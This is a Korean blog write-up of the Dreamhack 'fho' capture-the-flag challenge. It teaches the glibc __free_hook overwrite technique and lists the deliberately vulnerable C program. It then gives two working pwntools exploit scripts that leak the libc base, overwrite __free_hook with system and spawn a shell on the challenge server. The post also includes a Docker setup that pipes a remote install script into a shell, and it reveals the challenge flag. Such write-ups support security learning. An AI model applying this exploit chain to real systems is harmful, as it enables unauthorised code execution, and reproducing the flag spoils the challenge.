Exploit Tech: Hook Overwrite | Dreamhack
Hook==갈고리
Hooking(후킹) : CS에서는 OS가 어떤 코드를 실행하려 할 때, 이를 낚아채어 다른 코드가 실행되게 하는 것. 이때 실행되는 코드를 Hook(훅)이라고 부름
Hook 을 이용한 공격방법 :
훅 오버라이트(Hook Overwrite) - 훅의 특징을 이용한 공격 기법
Glibc 2.33 이하 버전에서 libc 데이터 영역에는 malloc()과 free()를 호출할 때 함께 호출되는 훅(Hook)이 함수 포인터 형태로 존재한다. 이 함수 포인터를 임의의 함수 주소로 오버라이트(Overwrite)하여 악의적인 코드를 실행하는 기법. Full RELRO가 적용되더라도 libc의 데이터 영역에는 쓰기가 가능하므로 Full RELRO를 우회하는 기법이기도 함
원가젯(one-gadget) - libc 내에 존재하는 가젯
기존에는 셸을 실행하려면 여러 개의 가젯을 조합해서 ROP Chain을 구성했지만, 원가젯은 단일 가젯만으로도 셸을 실행할 수 있는 매우 강력한 가젯이다. 하지만 원가젯은 Glibc 버전마다 다르게 존재하며, 사용하기 위한 제약 조건도 모두 다르다. 일반적으로 Glibc 버전이 높아질수록 제약 조건을 만족하기가 어려워지는 특성이 있다.
문제 환경
보호 기법이 모두 적용되어있다. Full RELRO이므로 GOT overwrite는 불가능하다.
문제 코드
// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
buf[0x30] 배열 선언
read(0, buf, 0x100)로 0x100 바이트 입력하고 buf에 저장 후 출력
addr과 value를 입력하고 addr 주소에 value 저장
addr을 입력하고 free()로 addr을 해제
-> 원하는 주소에 데이터를 쓸 수 있고 free()로 해제할 수 있다.
free()는 hook 변수인 __free_hook을 실행한다. 따라서 __free_hook을 원하는 주소로 덮으면, 해당 명령이 실행된다.
아래의 3가지 수단(Primitive)를 이용해 셸을 획득해야 한다.
[1] 스택의 어떤 값을 읽을 수 있다.
[2] 임의 주소에 임의 값을 쓸 수 있다.
[3] 임의 주소를 해제할 수 있다.
라이브러리의 변수 및 함수들의 주소 구하기
main 함수의 반환 주소인 libc_start_main+x를 릭하여 libc 베이스 주소를 구하고 변수 및 함수들의 주소를 계산하자.
main 함수는 라이브러리 함수인 __libc_start_main이 호출하므로, main 함수의 스택 프레임에는 __libc_start_main+x로 돌아갈 반환 주소가 저장되어 있을 것이다. __libc_start_main+x는 libc 영역 어딘가에 존재하는 코드이므로, __libc_start_main+x의 주소를 leak한 후 해당 값에서 libc_start_main+x의 오프셋을 빼는 방식으로 프로세스 메모리에 매핑된 libc의 베이스 주소를 계산할 수 있다.
gdb로 main 함수에 중단점을 설정한 후 실행해서 main 함수에서 멈추었을 때, 모든 스택 프레임의 백트레이스를 출력하는 bt 명령어로 main 함수의 반환 주소를 알아낼 수 있다.
main 함수의 반환 주소를 x/i로 출력해보면 __libc_start_main+128이다.
exploit
from pwn import *
#p = process('./fho')
p = remote('host3.dreamhack.games', 20726)
e = ELF('./fho')
libc = ELF('./libc-2.27.so')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
# [1] Leak libc base
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols['__libc_start_main'] + 128)
# 또는 libc_base = libc_start_main_xx - libc.libc_start_main_return
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
binsh = libc_base + next(libc.search(b'/bin/sh'))
slog('libc_base', libc_base)
slog('system', system)
slog('free_hook', free_hook)
slog('/bin/sh', binsh)
# [2] Overwrite `free_hook` with `system`
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(system).encode())
# [3] Exploit
p.recvuntil('To free: ')
p.sendline(str(binsh).encode())
p.interactive()
앞서 구한 변수와 주소를 활용해, [2]에서 __free_hook 의 값을 system 함수의 주소로 덮어쓰고, [3]에서 “/bin/sh” 를 해제(free)하게 하면 system(“/bin/sh”) 가 호출되어 셸을 획득할 수 있을 것이다.
흠 근데 안 따지네
찾아보니 ubuntu 환경마다 RET에 저장되는 __libc_start_main 오프셋은 다르다고 한다.
기존에 있던 18.04를 날린 관계로... 도커 환경구축을 해봐야겠다.
그러면 문제에서 주어진 Dockerfile을 빌드해보자.
그러나....gdb pwntools git pwndbg 아무것도 없어서 구축하려고 했는데, pwndbg가 영원히 설치되지 않는다.
흠
그러면 포너블 환경세팅이 된 dockerfile을 활용해보려고 했는데, pwndbg 관련된 세팅은 전부 오류나서 그냥 아래를 가져와서 추가로 작성해줬다. 아무래도 최근버전이라서 못 먹는 것 같아 2022.08.30 버전으로 먹여줬다.
youngsouk/docker_ubuntu_18.04: ubuntu_18.04 docker for ctf (github.com)
GitHub - youngsouk/docker_ubuntu_18.04: ubuntu_18.04 docker for ctf
ubuntu_18.04 docker for ctf. Contribute to youngsouk/docker_ubuntu_18.04 development by creating an account on GitHub.
github.com
#Dokerfile
FROM ubuntu:18.04
MAINTAINER youngsouk <young34844@naver.com>
ENV LC_CTYPE C.UTF-8
RUN apt upgrade && apt update
RUN apt-get update && apt-get install -y netcat
RUN apt install python python-pip git curl wget vim zsh gdb python3 python3-pip -y
RUN pip3 install unicorn
RUN pip3 install keystone-engine
RUN pip3 install
RUN pip3 install capstone ropper
RUN pip install pwntools
RUN wget https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh -O - | zsh || true
RUN mkdir -p "$HOME/.zsh"
RUN git clone https://github.com/sindresorhus/pure.git "$HOME/.zsh/pure"
RUN echo "fpath+=("$HOME/.zsh/pure")\nautoload -U promptinit; promptinit\nprompt pure" >> ~/.zshrc
RUN git clone https://github.com/zsh-users/zsh-syntax-highlighting.git
RUN echo "source ./zsh-syntax-highlighting/zsh-syntax-highlighting.zsh" >> ~/.zshrc
RUN git clone https://github.com/zsh-users/zsh-autosuggestions ~/.zsh/zsh-autosuggestions
RUN echo "source ~/.zsh/zsh-autosuggestions/zsh-autosuggestions.zsh" >> ~/.zshrc
RUN echo "ZSH_AUTOSUGGEST_HIGHLIGHT_STYLE='fg=111'" >> ~/.zshrc
RUN git clone https://github.com/pwndbg/pwndbg && \
cd pwndbg && \
git checkout tags/2022.08.30
# Install pwndbg
RUN cd pwndbg && ./setup.sh
# Update .gdbinit to source pwndbg
RUN echo 'source /pwndbg/gdbinit.py' >> /root/.gdbinit
#docker build && run && 문제 파일 이동
user@user-virtual-machine:~/HB_5week/fho$ sudo docker build -t fho -f Dockerfile .
user@user-virtual-machine :~$ sudo docker run -it fho /bin/bash
root@c5ef1ad71a71:
user@user-virtual-machine:~/HB_5week/fho$ sudo docker cp ~/HB_5week/fho c5ef1ad71a71:/home
Successfully copied 2.05MB to c5ef1ad71a71:/home
ubuntu 18.04 환경에서는 231이라고 한다.
기존 poc의 128 -> 231
from pwn import *
#p = process('./fho')
p = remote('host3.dreamhack.games', 20726)
e = ELF('./fho')
libc = ELF('./libc-2.27.so')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
# [1] Leak libc base
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols['__libc_start_main'] + 231)
# 또는 libc_base = libc_start_main_xx - libc.libc_start_main_return
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
binsh = libc_base + next(libc.search(b'/bin/sh'))
slog('libc_base', libc_base)
slog('system', system)
slog('free_hook', free_hook)
slog('/bin/sh', binsh)
# [2] Overwrite `free_hook` with `system`
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(system).encode())
# [3] Exploit
p.recvuntil('To free: ')
p.sendline(str(binsh).encode())
p.interactive()
Flag is
DH{a8529ace5e50480658a645aa1a1c88291784335c1c54c5b89d0f43ad1893730c}
'Pwnable' 카테고리의 다른 글
[DreamHack] hook Write-Up (0) | 2024.09.18 |
---|---|
[DreamHack] oneshot Write-Up (0) | 2024.09.18 |
[DreamHack] basic_rop_x64 Write-Up (0) | 2024.09.18 |
[DreamHack] basic_rop_x86 Write-Up (0) | 2024.09.18 |
[DreamHack] rop 문서화 (0) | 2024.09.18 |